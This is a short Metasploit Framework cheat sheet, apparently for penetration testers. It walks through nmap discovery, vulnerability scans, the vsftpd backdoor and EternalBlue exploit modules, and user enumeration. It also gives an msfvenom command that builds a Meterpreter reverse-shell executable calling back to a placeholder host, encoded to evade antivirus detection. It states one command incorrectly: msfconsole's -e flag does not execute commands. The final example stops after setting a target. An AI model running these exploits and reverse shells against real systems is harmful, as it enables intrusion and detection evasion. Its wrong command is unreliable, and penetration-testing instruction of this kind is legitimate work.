What is Metasploit Framework?
The Metasploit Framework is an open-source platform for developing, testing, and executing exploits against remote targets. It’s widely used by security professionals to automate repetitive tasks and enhance the effectiveness of penetration testing.
Installation
To install Metasploit Framework, you can use a package manager or download it directly from the official site. For example, on Kali Linux, it can be installed with:
sudo apt update && sudo apt install metasploit-framework
Basic Syntax
The basic structure of a Metasploit command looks like this:
msfconsole -e EXPR
Replace EXPR with the command or the module you want to execute.
Discovery
Finding Hosts
Use the following command to discover live hosts in a target range:
nmap -sn 192.168.1.0/24
To integrate Nmap scans with Metasploit:
db_nmap -sS -O -p- 192.168.1.0/24
Scanning
Vulnerability Scanning
To scan for vulnerabilities:
nmap --script=vuln 192.168.1.1
Exploitation
Searching for Exploits
Find available exploits for a specific service:
search vsftpd
Using Exploits
Execute an exploit after setting the target:
use exploit/unix/ftp/vsftpd_234_backdoor
Set required options:
set RHOSTS 192.168.1.1
Analysis
Post-Exploitation
To gather information post-exploitation:
run post/multi/gather/enum_users
Evasion
Encoding Payloads
Use these commands to encode payloads to evade detection:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=443 -f exe -e x86/shikata_ga_nai -b '\x00'
Reporting
Generate Reports
Generate an HTML report from your session:
db_export -f html -o report.html
Quick Reference Table
| Flag | Description |
|---|---|
| -p | Specify the payload |
| -e | Specify the encoder for payloads |
| -f | Specify the format of output |
Pro Tips
- Regularly update the Metasploit Framework to access the latest modules and fixes.
- Utilize the built-in database for storing and querying your scans and results.
- Use ‘tab completion’ for commands and module names.
Real-World Examples
Example of exploiting a target:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.105
